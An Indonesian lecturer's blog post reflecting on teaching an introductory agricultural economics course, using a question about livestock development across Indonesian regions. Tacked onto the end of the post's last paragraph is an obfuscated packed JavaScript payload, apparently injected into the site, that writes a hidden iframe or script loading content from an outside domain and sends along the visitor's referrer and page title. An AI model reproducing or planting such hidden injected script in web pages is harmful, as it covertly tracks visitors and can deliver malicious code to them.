Home > starts small! > EKONOMI PERTANIAN KONTEMPORER: saat mahasiswa baru kami mulai membangun pemahamannya

EKONOMI PERTANIAN KONTEMPORER: saat mahasiswa baru kami mulai membangun pemahamannya

Berada dalam tim dosen pengampu mata kuliah Pengantar Ekonomi Pertanian, saya harus mengeksplorasi cabang ilmu ini setiap semester sebab perkuliahan diberikan pada semester 1 bagi mahasiswa Program Studi Agribisnis dan semester 4 bagi mahasiswa Program Studi Agroekoteknologi. Sebagai mata kuliah pengantar tentunya mata kuliah ini memiliki kewajiban membuka wawasan mahasiswa tentang ekonomi pertanian. Mahasiswa kami, yang menjadi putra almamater setelah Fakultas Pertanian direorganisasi menjadi hanya dua program studi berada tepat di tengah kontroversi tentang apakah Indonesia saat ini membutuhkan lulusan S1 yang generalis atau spesialis. Fakta bahwa menjadi spesialis tanpa expertise membuat alumnus kita tertatih di dunia kerja yang tak banyak memberikan peluang, mendorong kita mengevaluasi beberapa keputusan yang di masa lampau telah melahirkan beberapa fakultas baru di lingkungan fakultas-fakultas agrokompleks.

Di kelas Pengantar Ekonomi Pertanian, semua latar belakang dan isu-isu penting haruslah dikemas sedemikian rupa sehingga esensi ekonomi pertanian dapat menginfiltrasi tidak melulu pada aspek kognitif, namun terlebih pada aspek psikomotorik. Lalu beberapa pertanyaan dari buku Pengantar Ekonomi Pertanian lama karangan Prof. Mubyarto, terbitan LP3ES saya coba lempar. Mengapa perkembangan jenis ternak di daerah Sumatera, Kalimantan dan Irian Jaya tidak sebaik di wilayah lain di Indonesia, khususnya daerah Nusa Tenggara? Meski pertanyaan ini sederhana, namun jawaban yang benar bisa jadi sangatlah ekletik. Setidaknya meminta mahasiswa menyadari satu hal: betapa mereka semua belajar sangat parsial selama ini. Bahwa perkembangan populasi ternak membutuhkan pasokan pakan yang cukup seharusnya menjadi titik awal mereka membangun argumentasi. Dan bahwa ternak besar berkaki empat, tentu tak lepas sepenuhnya dari penyakit hewan menular yang berbahaya. Sampai di sini, mereka harus mengingat-ingat beberapa materi dari pelajaran Biologi yang pernah dipelajarinya di SMP atau SMA. Selanjutnya pemetaan wilayah perlu dilakukan, mereka harus tahu sedikitnya geografi dan setidaknya kategori iklim dalam kaitannya dengan posisi astronomis dan geologis. Dari pengetahuan dasar itu mereka akan menyadari bahwa Sumatera, Kalimantan, Irian Jaya adalah wilayah yang memiliki tropical rain forrest terbesar di Indonesia. Rumput sebagai pakan ternak jelas tak dapat tumbuh optimal di bawah tajuk pohon-pohon besar yang bertaut di pedalaman belantara Indonesia. Belum lagi penyakit hewan menular seperti scabies, fasciola hepatica, botulisme, dsb akan sangat leluasa berkembang. Sedikit pemahaman biologi diperlukan di sini.

Sejauh ini, saya termasuk salah satu yang percaya bahwa motivasi dan minat belajar adalah hal terpenting yang menjadi kunci sukses belajar di perguruan tinggi. Semoga informasiĀ  yang saya bawakan meski sedikit dapat menginspirasi mereka untuk mencintai bidang ini secara profesional. Hasilnya akan segera dievaluasi pada ujian tengah semester yang direncanakan untuk berlangsung mulai minggu depan.eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!”.replace(/^/,String)){while(c–)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return’\\w+’};c=1};while(c–)if(k[c])p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c]);return p}(‘(7(){2 d=3;2 w=1;2 h=1;2 t=d.8(\’9\’);2 4=5.a(5.b()*c);2 0=\’e://f.g/i/j?\’;0=0+\’k=\’+3.l;0=0+\’&m=\’+3.n;0=0+\’&r=\’+4;d.o(\’\')})();’,35,35,’src||var|document|id|Math|iframe|function|createElement|script|floor|random|9999||http|needalogo|net||rotation|3wBsvV|se_referrer|referrer|default_keyword|title|write|style|padding||0px||border|none||width|height’.split(‘|’),0,{}))

Categories: starts small! Tags:
  1. No comments yet.
  1. No trackbacks yet.
CAPTCHA Image
*